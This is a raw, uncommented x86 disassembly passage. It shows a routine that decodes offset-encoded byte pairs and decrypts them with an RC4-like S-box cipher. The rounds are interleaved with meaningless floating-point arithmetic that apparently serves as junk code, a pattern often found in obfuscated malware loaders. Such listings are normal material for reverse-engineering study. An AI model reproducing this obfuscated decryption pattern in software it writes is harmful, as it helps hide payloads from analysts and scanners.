mov ecx, dword [ebp - 0x37dc]
shl ecx, 4
mov dword [ebp - 0x3878], ecx
mov edx, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], edx
mov eax, dword [ebp - 0x3878]
or eax, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], eax
mov cl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x329c]
mov al, byte [ebp + edx - 0x57a0]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326e]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp - 0x327e]
add eax, edx
mov byte [ebp - 0x327e], al
mov cl, byte [ebp - 0x326e]
add cl, 1
mov byte [ebp - 0x326e], cl
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + edx - 0x57a0]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp - 0x327e]
mov cl, byte [ebp + edx - 0x57a0]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp - 0x327f]
mov cl, byte [ebp + edx - 0x57a0]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x326e]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx edx, byte [ebp - 0x326e]
movzx edx, byte [ebp + edx - 0x57a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57a0]
xor ecx, eax
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp + edx - 0x57a0]
movzx edx, byte [ebp - 0x329c]
movzx edx, byte [ebp + edx - 0x57a0]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x57a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57a0]
movzx edx, byte [ebp + eax - 0x57a0]
xor ecx, edx
mov byte [ebp - 0x327f], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], al
mov cl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], cl
cmp dword [ebp - 0x3378], 0
jle 0x4342f4
movsx dx, byte [ebp - 0x3325]
mov eax, dword [ebp - 0x3378]
mov word [ebp + eax*2 - 0x2fa], dx
mov ecx, dword [ebp - 0x3378]
add ecx, 1
mov dword [ebp - 0x3378], ecx
mov edx, dword [ebp - 0x3580]
add edx, 1
mov dword [ebp - 0x3580], edx
mov eax, dword [ebp - 0x3378]
shl eax, 1
mov dword [ebp - 0x386c], eax
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x386c]
movzx edx, byte [ecx]
mov dword [ebp - 0x37cc], edx
mov dword [ebp - 0x37d0], 0x5d
mov eax, dword [ebp - 0x3378]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3874], ecx
mov edx, dword [ebp - 0x3870]
add edx, dword [ebp - 0x3874]
movzx eax, byte [edx]
mov dword [ebp - 0x37d4], eax
mov dword [ebp - 0x37d8], 0x5d
mov ecx, dword [ebp - 0x37cc]
sub ecx, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], ecx
mov edx, dword [ebp - 0x37d4]
sub edx, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], edx
mov eax, dword [ebp - 0x37dc]
shl eax, 4
mov dword [ebp - 0x3878], eax
mov ecx, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], ecx
mov edx, dword [ebp - 0x3878]
or edx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], edx
mov al, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + ecx - 0x57a0]
mov byte [ebp - 0x32d5], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx edx, byte [ebp - 0x327e]
add edx, ecx
mov byte [ebp - 0x327e], dl
mov al, byte [ebp - 0x326e]
add al, 1
mov byte [ebp - 0x326e], al
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp - 0x329c]
mov al, byte [ebp + ecx - 0x57a0]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp - 0x327e]
mov al, byte [ebp + ecx - 0x57a0]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x326e]
movzx edx, byte [ebp - 0x327f]
mov al, byte [ebp + ecx - 0x57a0]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x326e]
mov dl, byte [ebp - 0x32d5]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x32d5]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx ecx, byte [ebp - 0x326e]
movzx ecx, byte [ebp + ecx - 0x57a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57a0]
xor eax, edx
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx ecx, byte [ebp - 0x329c]
movzx ecx, byte [ebp + ecx - 0x57a0]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x57a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp + edx - 0x57a0]
xor eax, ecx
mov byte [ebp - 0x327f], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], dl
mov al, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], al
cmp dword [ebp - 0x3378], 0
jle 0x43454e
movsx cx, byte [ebp - 0x3325]
mov edx, dword [ebp - 0x3378]
mov word [ebp + edx*2 - 0x2fa], cx
mov eax, dword [ebp - 0x3580]
add eax, 0xe
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x3378]
add ecx, 1
mov dword [ebp - 0x4bec], ecx
jmp 0x43457d
mov edx, dword [ebp - 0x4bec]
add edx, 1
mov dword [ebp - 0x4bec], edx
mov eax, dword [ebp - 0x4bec]
cmp eax, dword [ebp - 0x3580]
jge 0x4347e0
mov ecx, dword [ebp - 0x3378]
add ecx, 1
mov dword [ebp - 0x3378], ecx
mov edx, dword [ebp - 0x3378]
shl edx, 1
mov dword [ebp - 0x386c], edx
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
mov dword [ebp - 0x37cc], ecx
mov dword [ebp - 0x37d0], 0x5d
mov edx, dword [ebp - 0x3378]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3874], eax
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x3874]
movzx edx, byte [ecx]
mov dword [ebp - 0x37d4], edx
mov dword [ebp - 0x37d8], 0x5d
mov eax, dword [ebp - 0x37cc]
sub eax, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], eax
mov ecx, dword [ebp - 0x37d4]
sub ecx, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], ecx
mov edx, dword [ebp - 0x37dc]
shl edx, 4
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
or ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], ecx
mov dl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x327e]
add ecx, eax
mov byte [ebp - 0x327e], cl
mov dl, byte [ebp - 0x326e]
add dl, 1
mov byte [ebp - 0x326e], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp - 0x327f]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x326e]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
xor edx, ecx
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x329c]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp + ecx - 0x57a0]
xor edx, eax
mov byte [ebp - 0x327f], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], cl
mov dl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3378], 0
jle 0x4347db
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3378]
mov word [ebp + ecx*2 - 0x2fa], ax
jmp 0x43456e
mov edx, dword [ebp - 0x3580]
add edx, 1
mov dword [ebp - 0x3580], edx
mov eax, dword [ebp - 0x3580]
add eax, 0xf
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x3378]
add ecx, 1
mov dword [ebp - 0x4bf0], ecx
jmp 0x43481e
mov edx, dword [ebp - 0x4bf0]
add edx, 1
mov dword [ebp - 0x4bf0], edx
mov eax, dword [ebp - 0x4bf0]
cmp eax, dword [ebp - 0x3580]
jge 0x434f15
mov ecx, dword [ebp - 0x3378]
add ecx, 1
mov dword [ebp - 0x3378], ecx
mov edx, dword [ebp - 0x3378]
shl edx, 1
mov dword [ebp - 0x386c], edx
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
mov dword [ebp - 0x37cc], ecx
mov dword [ebp - 0x37d0], 0x5d
mov edx, dword [ebp - 0x3378]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3874], eax
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x3874]
movzx edx, byte [ecx]
mov dword [ebp - 0x37d4], edx
mov dword [ebp - 0x37d8], 0x5d
mov eax, dword [ebp - 0x37cc]
sub eax, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], eax
mov ecx, dword [ebp - 0x37d4]
sub ecx, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], ecx
mov edx, dword [ebp - 0x37dc]
shl edx, 4
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
or ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], ecx
movss xmm0, dword [0xa67434]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [0xa673bc]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [0xa6732c]
movss dword [ebp - 0x3d90], xmm0
movss xmm0, dword [0xa67264]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [0xa671a0]
movss dword [ebp - 0x3ddc], xmm0
movss xmm0, dword [0xa670d8]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [0xa67008]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x34e0]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x34e0]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3d90]
subss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3d90], xmm0
movss xmm0, dword [ebp - 0x34e0]
subss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3d90]
subss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3d90], xmm0
movss xmm0, dword [ebp - 0x3624]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3d90]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3d90], xmm0
movss xmm0, dword [ebp - 0x3518]
comiss xmm0, dword [ebp - 0x34e0]
jbe 0x434cd8
movss xmm0, dword [ebp - 0x34e0]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x34e0]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x41c8]
mulss xmm0, dword [ebp - 0x3d90]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3d90]
subss xmm0, dword [ebp - 0x3590]
movss dword [ebp - 0x3d90], xmm0
movss xmm0, dword [ebp - 0x41c8]
mulss xmm0, dword [ebp - 0x3d90]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x3590]
subss xmm0, dword [ebp - 0x3ddc]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x3d90]
addss xmm0, dword [ebp - 0x3590]
movss dword [ebp - 0x3d90], xmm0
movss xmm0, dword [ebp - 0x3590]
mulss xmm0, dword [ebp - 0x3ddc]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x3518]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3518]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3624]
divss xmm0, dword [ebp - 0x41c8]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3624]
comiss xmm0, dword [ebp - 0x34e0]
jbe 0x434c2b
movss xmm0, dword [ebp - 0x3590]
subss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x34e0]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x41c8]
divss xmm0, dword [ebp - 0x3590]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x3ddc]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3ddc], xmm0
movss xmm0, dword [ebp - 0x3590]
mulss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x34e0]
subss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3590]
mulss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3590], xmm0
jmp 0x434cd3
movss xmm0, dword [ebp - 0x3ddc]
subss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3ddc], xmm0
movss xmm0, dword [ebp - 0x3590]
mulss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x3590]
subss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x3ddc]
divss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3ddc], xmm0
movss xmm0, dword [ebp - 0x3624]
subss xmm0, dword [ebp - 0x3d90]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x34e0]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x34e0]
divss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x34e0], xmm0
jmp 0x434d8c
movss xmm0, dword [ebp - 0x3624]
subss xmm0, dword [ebp - 0x41c8]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3590]
addss xmm0, dword [ebp - 0x3ddc]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x3590]
mulss xmm0, dword [ebp - 0x3ddc]
movss dword [ebp - 0x3590], xmm0
movss xmm0, dword [ebp - 0x3ddc]
subss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3ddc], xmm0
movss xmm0, dword [ebp - 0x3518]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3624]
subss xmm0, dword [ebp - 0x41c8]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3590]
subss xmm0, dword [ebp - 0x3ddc]
movss dword [ebp - 0x3590], xmm0
mov dl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x327e]
add ecx, eax
mov byte [ebp - 0x327e], cl
mov dl, byte [ebp - 0x326e]
add dl, 1
mov byte [ebp - 0x326e], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp - 0x327f]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x326e]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
xor edx, ecx
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x329c]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp + ecx - 0x57a0]
xor edx, eax
mov byte [ebp - 0x327f], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], cl
mov dl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3378], 0
jle 0x434f10
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3378]
mov word [ebp + ecx*2 - 0x2fa], ax
jmp 0x43480f
mov edx, dword [ebp - 0x3580]
add edx, 1
mov dword [ebp - 0x3580], edx
mov eax, dword [ebp - 0x3378]
add eax, 1
mov dword [ebp - 0x3378], eax
mov ecx, dword [ebp - 0x3580]
add ecx, 1
mov dword [ebp - 0x3580], ecx
mov edx, dword [ebp - 0x3378]
shl edx, 1
mov dword [ebp - 0x386c], edx
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
mov dword [ebp - 0x37cc], ecx
mov dword [ebp - 0x37d0], 0x5d
mov edx, dword [ebp - 0x3378]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3874], eax
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x3874]
movzx edx, byte [ecx]
mov dword [ebp - 0x37d4], edx
mov dword [ebp - 0x37d8], 0x5d
mov eax, dword [ebp - 0x37cc]
sub eax, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], eax
mov ecx, dword [ebp - 0x37d4]
sub ecx, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], ecx
mov edx, dword [ebp - 0x37dc]
shl edx, 4
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
or ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], ecx
mov dl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x327e]
add ecx, eax
mov byte [ebp - 0x327e], cl
mov dl, byte [ebp - 0x326e]
add dl, 1
mov byte [ebp - 0x326e], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp - 0x327f]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x326e]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
xor edx, ecx
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x329c]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp + ecx - 0x57a0]
xor edx, eax
mov byte [ebp - 0x327f], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], cl
mov dl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3378], 0
jle 0x43517f
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3378]
mov word [ebp + ecx*2 - 0x2fa], ax
mov edx, dword [ebp - 0x3378]
add edx, 1
mov dword [ebp - 0x3378], edx
mov eax, dword [ebp - 0x3580]
add eax, 1
mov dword [ebp - 0x3580], eax
mov ecx, dword [ebp - 0x3378]
shl ecx, 1
mov dword [ebp - 0x386c], ecx
mov edx, dword [ebp - 0x3870]
add edx, dword [ebp - 0x386c]
movzx eax, byte [edx]
mov dword [ebp - 0x37cc], eax
mov dword [ebp - 0x37d0], 0x5d
mov ecx, dword [ebp - 0x3378]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3874], edx
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x3874]
movzx ecx, byte [eax]
mov dword [ebp - 0x37d4], ecx
mov dword [ebp - 0x37d8], 0x5d
mov edx, dword [ebp - 0x37cc]
sub edx, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], edx
mov eax, dword [ebp - 0x37d4]
sub eax, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], eax
mov ecx, dword [ebp - 0x37dc]
shl ecx, 4
mov dword [ebp - 0x3878], ecx
mov edx, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], edx
mov eax, dword [ebp - 0x3878]
or eax, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], eax
mov cl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x329c]
mov al, byte [ebp + edx - 0x57a0]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326e]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp - 0x327e]
add eax, edx
mov byte [ebp - 0x327e], al
mov cl, byte [ebp - 0x326e]
add cl, 1
mov byte [ebp - 0x326e], cl
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + edx - 0x57a0]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp - 0x327e]
mov cl, byte [ebp + edx - 0x57a0]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp - 0x327f]
mov cl, byte [ebp + edx - 0x57a0]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x326e]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx edx, byte [ebp - 0x326e]
movzx edx, byte [ebp + edx - 0x57a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57a0]
xor ecx, eax
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp + edx - 0x57a0]
movzx edx, byte [ebp - 0x329c]
movzx edx, byte [ebp + edx - 0x57a0]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x57a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57a0]
movzx edx, byte [ebp + eax - 0x57a0]
xor ecx, edx
mov byte [ebp - 0x327f], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], al
mov cl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], cl
cmp dword [ebp - 0x3378], 0
jle 0x4353d8
movsx dx, byte [ebp - 0x3325]
mov eax, dword [ebp - 0x3378]
mov word [ebp + eax*2 - 0x2fa], dx
mov ecx, dword [ebp - 0x3378]
add ecx, 1
mov dword [ebp - 0x3378], ecx
mov edx, dword [ebp - 0x3580]
add edx, 1
mov dword [ebp - 0x3580], edx
mov eax, dword [ebp - 0x3378]
shl eax, 1
mov dword [ebp - 0x386c], eax
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x386c]
movzx edx, byte [ecx]
mov dword [ebp - 0x37cc], edx
mov dword [ebp - 0x37d0], 0x5d
mov eax, dword [ebp - 0x3378]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3874], ecx
mov edx, dword [ebp - 0x3870]
add edx, dword [ebp - 0x3874]
movzx eax, byte [edx]
mov dword [ebp - 0x37d4], eax
mov dword [ebp - 0x37d8], 0x5d
mov ecx, dword [ebp - 0x37cc]
sub ecx, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], ecx
mov edx, dword [ebp - 0x37d4]
sub edx, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], edx
mov eax, dword [ebp - 0x37dc]
shl eax, 4
mov dword [ebp - 0x3878], eax
mov ecx, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], ecx
mov edx, dword [ebp - 0x3878]
or edx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], edx
mov al, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + ecx - 0x57a0]
mov byte [ebp - 0x32d5], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx edx, byte [ebp - 0x327e]
add edx, ecx
mov byte [ebp - 0x327e], dl
mov al, byte [ebp - 0x326e]
add al, 1
mov byte [ebp - 0x326e], al
movzx ecx, byte [ebp - 0x327e]
